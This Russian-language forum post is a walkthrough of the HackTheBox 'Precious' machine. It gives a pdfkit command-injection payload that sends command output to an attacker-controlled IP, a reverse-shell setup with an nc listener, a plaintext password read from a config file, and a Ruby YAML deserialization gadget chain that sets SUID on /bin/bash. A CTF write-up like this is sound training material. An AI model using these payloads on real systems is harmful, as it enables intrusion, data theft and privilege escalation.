prew.jpg

Приветствую, уважаемые читатели форума Codeby! Сегодня мы пройдём, как мне кажется, самую лёгкую машину на HackTheBox, которая на данный момент вознаграждается поинтами.

Разведка

Начнём с того , что просканируем порты. Используем флаг -sC, чтобы использовать стандартные скрипты, -sV, чтобы определить сервисы открытых портов и -sS, чтобы использовать TCP SYN сканирование на основе полуоткрытых соединений (для этого мы также запускаем nmap с правами суперпользователя):

Pasted image 20230307205128.png


У нас есть типичный для CTF порт 22, который мы скорее всего будем использовать, когда уже получим данные пользователя/рута. И 80порт - на нём, как правило, располагается веб-сервер.

Переходим на http://10.10.11.189:

Pasted image 20230307205159.png


Нас тут же редиректит на домен precious.htb. Следовательно, чтобы получить доступ к сайту нам нужно настроить /etc/hosts (подробнее про файл /etc/hosts Вы можете прочитать ). Внести туда имя домена и IP-адрес машины. Для этого открываем данный файл в консольном редакторе nano с правами суперпользователя:

Bash:
sudo nano /etc/hosts

И вносим туда следующую строку:

Код:
10.10.11.189 precious.htb

Pasted image 20230307205237.png


Теперь переходим на http://precious.htb:

Pasted image 20230307205310.png


На сайте мы можем сконвертировать любую веб-страницу в PDF-файл. Я пробовал эксплуатировать OS Command Injection, LFI, RFI и SSRF, предполагая, что на бэкэнде используются опасные функции, - ничего не вышло:

Pasted image 20230307205537.png


Давайте запустим веб-сервер пайтона, чтобы проверить, может ли сервер отправлять свои запросы на нашу рабочую машину:

Bash:
python3 -m http.server

Pasted image 20230307205624.png


Теперь вводим наш локальный IP-адрес в поле ввода на главной странице precious.htb:

Pasted image 20230307205712.png


После отправки запроса веб-сайт предлагает нам скачать PDF-файл, в котором располагается содержимое ссылки (мы её указали в форме):

Pasted image 20230307205746.png


Мы можем заставить веб-сервер атакуемой машины отправить GET-запрос на наш веб-сервер, вот только особой выгоды с этого не получить:

Pasted image 20230307205759.png


Что насчёт самих PDF-файлов? Очевидно, что на сервере есть автоматизированный инструмент, который их генерирует. Есть вероятность того, что его название и версия указаны в метаданных файла. Проверим файл с помощью exiftool:

Pasted image 20230307210050.png


Видим следующую строку:

Creator: Generated by pdfkit v0.8.6

То есть используется pdfkit версии 0.8.6. Давайте поищем в гугле возможные уязвимости на данный софт:

Pasted image 20230307210123.png


Становится понятно, что это и есть ключ к взлому. В pdfkit версии 0.8.6 есть Command Injection. Данная уязвимость позволяет нам выполнять любые команды от лица пользователя веб-сервера. Теперь давайте разберёмся с эксплуатацией.

На мы можем найти PoC (Proof Of Concept) уязвимости:

Pasted image 20230309014718.png


Так как мы передаём данные через POST-параметр url, следовательно, в него нам и нужно класть пэйлоад:

Pasted image 20230309015214.png


Согласно PoC'у и описанию уязвимости, нам требуется использовать следующий пэйлоад:

Код:
http://10.10.16.52/?name=%20`<команда ОС>`

Будем использовать curl, но можно также использовать и сам BurpSuite. Используем опцию -X, чтобы указать, что будет POST-запрос и опцию --data-raw, чтобы указать POST-параметр url:

Bash:
curl "http://precious.htb/" -X POST --data-raw "url=http://10.10.16.52/?name=%20`whoami`"

Не забудьте закодировать пэйлоад url-параметра в URL-энкод:

Bash:
curl "http://precious.htb/" -X POST --data-raw "url=http%3A%2F%2F10.10.16.52%2F%3Fname%3D%2520%60whoami%60"

Нам также требуется поднять наш веб-сервер, куда будут приходить GET-запросы (которые содержат результат отработки пэйлоада) с атакуемой машины. Я запустил веб-сервер пайтона с правами суперпользователя, чтобы он работал на 80 порту. После того, как мы его запустили, отправляем наш пэйлоад. Как можно заметить, precious.htb отправляет нам запрос с результатом работы пэйлоада в GET-параметре name:

Pasted image 20230308170942.png


Скорее всего бэкэнд веб-сервера написан на Ruby, так как его пользователь - ruby. Когда мы убедились в том, что Command Injection действительно работает, давайте организуем себе реверс шелл. Крайне рекомендую сервис . Достаточно вбить IP-адрес и порт машины, куда придёт реверс-шелл, чтобы получить готовый пэйлоад:

Pasted image 20230309020401.png


Мы знаем, что на сервере используется Ruby, следовательно, логичнее всего использовать реверс шелл через данный язык программирования. Копируем то, что выдал нам Reverse Shell Generator и кладём это в место, которое предназначено для пэйлоада:

Код:
http://10.10.16.52/?name=%20`<вот сюда>`

Конечно же, перед этим ставим листенер, например, на 9898 порт:

Bash:
nc -nlvp 9898

Делаем URL-энкод значения POST-параметра url и отправляем запрос:

Pasted image 20230308171249.png


Отлично, мы залетели на машину. Теперь нам нужно повысить привилегии и получить пользователя.

Взятие пользователя

Немного перебрав различных конфигов, я нашёл скрытый каталог .bundle в домашней директории пользователя ruby. В нем есть файл config. Читаем файл - получаем данные пользователя henry:

Pasted image 20230308172818.png


henry:Q3c1AqGHtoI0aXAYFH

Подключаемся по ssh к precious.htb:

Bash:
ssh henry@precious.htb

Pasted image 20230308173505.png


Теперь можем забирать флаг пользователя - user.txt.

Взятие суперпользователя

Используем sudo -l, чтобы узнать, что мы можем запустить от лица суперпользователя:

Pasted image 20230308173539.png


Мы можем запустить следующую команду при этом использовав пароль от henry:

Bash:
sudo /usr/bin/ruby /opt/update_dependencies.rb

Давайте глянем, что у нас в файле /opt/update_dependencies.rb. Там следующий код:

Ruby:
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'
 
# TODO: update versions automatically
def update_gems()
end
 
def list_from_file
   YAML.load(File.read("dependencies.yml"))
end
 
def list_local_gems
   Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end
 
gems_file = list_from_file
gems_local = list_local_gems
 
gems_file.each do |file_name, file_version|
   gems_local.each do |local_name, local_version|
       if(file_name == local_name)
           if(file_version != local_version)
               puts "Installed version differs from the one specified in file: " + local_name
           else
               puts "Installed version is equals to the one specified in file: " + local_name
           end
       end
   end
end

В гугле мы можем найти множество источников про атаку десериализации YAML (YAML Deserialization Attack). В данном случае она эксплуатируется через YAML.load(). Я нашел следующую статью, где эксплуатируется похожий код с YAML.lopad() - . Мы можем проверить пэйлоад из статьи:

YAML:
:payload:
- !ruby/class 'Gem::SpecFetcher'
- !ruby/class 'Gem::Installer'
- !ruby/object:Gem::Requirement
  requirements: !ruby/object:Gem::Package::TarReader
    io: !ruby/object:Net::BufferedIO
      io: !ruby/object:Gem::Package::TarReader::Entry
        read: 0
        header: aaa
      debug_output: !ruby/object:Net::WriteAdapter
        socket: !ruby/object:Gem::RequestSet
          sets: !ruby/object:Net::WriteAdapter
            socket: !ruby/module 'Kernel'
            method_id: :system
          git_set: date >> /tmp/rce9b.txt
        method_id: :resolve

Создаём файл dependencies.yml в каталоге /tmp и просто копируем туда содержимое пэйлоада. Затем запускаем скрипт update_dependencies.rb с помощью прав суперпользователя и интерпретатора ruby:

Pasted image 20230309005215.png


Пэйлоад предполагает то, что после его отработки создастся файл rce9b.txt с владельцем и группой файла root:root:

Pasted image 20230309005325.png


Всё пошло по правильному сценарию. Следовательно, в YML-файле нам нужно класть пэйлоад в git_set:

YAML:
:payload:
- !ruby/class 'Gem::SpecFetcher'
- !ruby/class 'Gem::Installer'
- !ruby/object:Gem::Requirement
  requirements: !ruby/object:Gem::Package::TarReader
    io: !ruby/object:Net::BufferedIO
      io: !ruby/object:Gem::Package::TarReader::Entry
        read: 0
        header: aaa
      debug_output: !ruby/object:Net::WriteAdapter
        socket: !ruby/object:Gem::RequestSet
          sets: !ruby/object:Net::WriteAdapter
            socket: !ruby/module 'Kernel'
            method_id: :system
          git_set: <вот сюда>
        method_id: :resolve

Теперь нужно подумать, как нам взять рута. В целом, мы можем просто скопировать флаг root.txt в /tmp с помощью следующего пэйлоада:

YAML:
:payload:
- !ruby/class 'Gem::SpecFetcher'
- !ruby/class 'Gem::Installer'
- !ruby/object:Gem::Requirement
  requirements: !ruby/object:Gem::Package::TarReader
    io: !ruby/object:Net::BufferedIO
      io: !ruby/object:Gem::Package::TarReader::Entry
        read: 0
        header: aaa
      debug_output: !ruby/object:Net::WriteAdapter
        socket: !ruby/object:Gem::RequestSet
          sets: !ruby/object:Net::WriteAdapter
            socket: !ruby/module 'Kernel'
            method_id: :system
          git_set: cp /root/root.txt /tmp/; chmod 777 /tmp/root.txt
        method_id: :resolve

Но в таком случае мы не получим полноценный root-доступ. Можем выставить SUID-бит на /bin/bash, чтобы запустить командную оболочку bash от имени пользователя root (подробнее про SUID-биты Вы можете прочитать тут).

Приводим YML-файл к следующему виду:

YAML:
:payload:
- !ruby/class 'Gem::SpecFetcher'
- !ruby/class 'Gem::Installer'
- !ruby/object:Gem::Requirement
  requirements: !ruby/object:Gem::Package::TarReader
    io: !ruby/object:Net::BufferedIO
      io: !ruby/object:Gem::Package::TarReader::Entry
        read: 0
        header: aaa
      debug_output: !ruby/object:Net::WriteAdapter
        socket: !ruby/object:Gem::RequestSet
          sets: !ruby/object:Net::WriteAdapter
            socket: !ruby/module 'Kernel'
            method_id: :system
          git_set: chmod u+s /bin/bash
        method_id: :resolve

И запускаем ruby-скрипт с правами суперпользователя:

Pasted image 20230309010942.png


Теперь запускаем bash с опцией -p, чтобы запустить командную оболочку от лица пользователя root. Про то, как повышать привилегии с помощью программ, которые имеют SUID-бит, Вы можете ознакомиться на :

Pasted image 20230309024055.png

Pasted image 20230309024109.png


Теперь мы с чувством выполненного долга можем прочитать root.txt:

Pasted image 20230309011038.png


Друзья, большое спасибо, что прочитали данную статью. Пожалуйста, укажите в комментариях, если я допустил какие-либо ошибки или есть какие-нибудь неточности :)
 
Последнее редактирование модератором:

truexe

Green Team
16.04.2019
13
6
BIT
24
Написано Easy, если это изи - то я боюсь представить что там на Харде)) автор красавчик - очень интересно!
 
  • Нравится
Реакции: Trager и szybnev
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!